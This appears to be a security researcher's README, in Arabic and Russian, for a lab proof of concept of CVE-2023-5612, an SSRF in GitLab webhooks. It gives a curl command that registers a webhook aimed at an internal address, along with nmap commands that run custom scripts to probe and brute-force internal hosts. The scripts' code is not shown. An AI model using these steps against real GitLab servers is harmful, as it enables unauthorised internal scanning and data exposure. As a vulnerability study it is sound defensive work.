
تحليل عبر سكربت CVE-2023-5612
تسمح ثغرة SSRF في GitLab CE/EE للمهاجمين الذين لديهم صلاحية Maintainer صالحة للمشروع بإرسال طلبات مخصصة إلى خدمات داخلية عشوائية عبر عناوين URL ضارة للـ webhook. يؤدي الاستغلال إلى مسح الشبكة الداخلية، تسرب البيانات الوصفية، أو مزيد من التنقل الجانبي.
curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
--data-urlencode "url=http://127.0.0.1:8888" \
http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks
- Kali Linux внутри виртуальной машины, развернутой специально под тестирование
- Поднятый через Docker экземпляр уязвимого GitLab CE (порт 8080)
- Внутри GitLab:
- Создан тестовый проект
- Сгенерирован Personal Access Token (glpat-...) с правами Maintainer
- Для внутреннего SSRF-таргета был поднят минимальный HTTP-сервис на 127.0.0.1:8888
- Подтверждение уязвимости вручную через curl (см. PoC)
- Создание кастомных NSE-скриптов:
gitlab-ssrf.nse: точечная проверка SSRF
gitlab-ssrf-brute.nse: автоматический перебор внутренних адресов
- Тестирование с nmap -d и --script-trace, для анализа поведения API и фиксации результатов
- Получение отклика 401 Unauthorized от внутреннего сервиса, что указывает на успешный SSRF
- Успешный запрос вернет `201 Created` либо ошибку вида `401 Unauthorized`, что указывает на SSRF-доступ.
nmap -p 8080 \
--script ./gitlab-ssrf.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
nmap -p 8080 \
--script ./gitlab-ssrf-brute.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
В ходе работы над уязвимостью **CVE-2023-5612** был воспроизведён успешный SSRF-атакующий сценарий с доступом к внутренним адресам через API GitLab CE. Это демонстрирует, насколько важно ограничивать возможности вебхуков и внедрять валидацию URL-адресов на стороне сервера.
.
├── gitlab-ssrf.nse # سكريبت NSE للتحقق اليدوي من SSRF
├── gitlab-ssrf-brute.nse # سكريبت NSE للتخمين لفحص المضيفات/المنافذ الداخلية
├── screenshots/ # لقطات شاشة لتنفيذ إثبات المفهوم وتأكيد الثغرة
└── README.md # هذا الملف
Pavel Topskiy
GitHub • محلل أمني، محلل فريق أحمر
تم إجراء جميع الاختبارات في بيئات معملية معزولة على إصدارات معرضة للثغرة عن قصد. لا تستخدم هذا ضد أنظمة غير مصرح بها. التزم بمبادئ الاختراق الأخلاقي.